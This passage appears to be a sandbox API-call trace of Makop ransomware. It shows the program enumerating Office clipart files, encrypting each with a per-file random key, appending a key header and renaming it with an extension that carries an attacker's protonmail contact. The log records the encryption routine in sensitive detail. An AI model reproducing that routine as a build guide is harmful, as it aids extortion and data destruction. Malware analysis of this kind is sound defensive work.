ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0147.684] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG") returned 63 [0147.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.685] GetProcessHeap () returned 0x48a0000 [0147.686] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.686] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0147.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.690] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.690] GetProcessHeap () returned 0x48a0000 [0147.690] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.690] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.690] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.691] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.691] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.691] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.691] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.691] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.692] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.692] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.692] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbdae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbdae, lpOverlapped=0x0) returned 1 [0147.694] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbdb0, dwBufLen=0xbdb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbdb0) returned 1 [0147.694] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.695] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbdb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbdb0, lpOverlapped=0x0) returned 1 [0147.695] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.695] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.695] SetEndOfFile (hFile=0xf0) returned 1 [0147.703] GetProcessHeap () returned 0x48a0000 [0147.703] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.703] GetProcessHeap () returned 0x48a0000 [0147.703] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.703] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.705] CloseHandle (hObject=0xf0) returned 1 [0147.705] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0147.705] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF") returned 59 [0147.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.708] GetProcessHeap () returned 0x48a0000 [0147.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0147.712] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.713] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.713] GetProcessHeap () returned 0x48a0000 [0147.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0147.713] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0147.713] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0147.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.715] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.715] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xef6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xef6, lpOverlapped=0x0) returned 1 [0147.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0147.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.715] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0147.715] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.715] SetEndOfFile (hFile=0xf0) returned 1 [0147.722] GetProcessHeap () returned 0x48a0000 [0147.722] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0147.722] GetProcessHeap () returned 0x48a0000 [0147.722] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.723] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 106 [0147.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.724] CloseHandle (hObject=0xf0) returned 1 [0147.725] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0147.725] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF") returned 63 [0147.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.726] GetProcessHeap () returned 0x48a0000 [0147.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.726] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.726] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.731] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.731] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.731] GetProcessHeap () returned 0x48a0000 [0147.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.731] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.731] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.731] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.732] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.733] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.733] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7aac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7aac, lpOverlapped=0x0) returned 1 [0147.735] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ab0) returned 1 [0147.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.735] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ab0, lpOverlapped=0x0) returned 1 [0147.736] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.736] SetEndOfFile (hFile=0xf0) returned 1 [0147.743] GetProcessHeap () returned 0x48a0000 [0147.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.743] GetProcessHeap () returned 0x48a0000 [0147.743] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.743] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.745] CloseHandle (hObject=0xf0) returned 1 [0147.745] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0147.745] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF") returned 62 [0147.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.748] GetProcessHeap () returned 0x48a0000 [0147.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.748] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0147.753] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.753] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.753] GetProcessHeap () returned 0x48a0000 [0147.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.754] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.754] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.755] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3d6, lpOverlapped=0x0) returned 1 [0147.755] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e0, dwBufLen=0x3e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e0) returned 1 [0147.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.755] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3e0, lpOverlapped=0x0) returned 1 [0147.755] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.755] SetEndOfFile (hFile=0xf0) returned 1 [0147.763] GetProcessHeap () returned 0x48a0000 [0147.763] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.763] GetProcessHeap () returned 0x48a0000 [0147.763] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.763] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 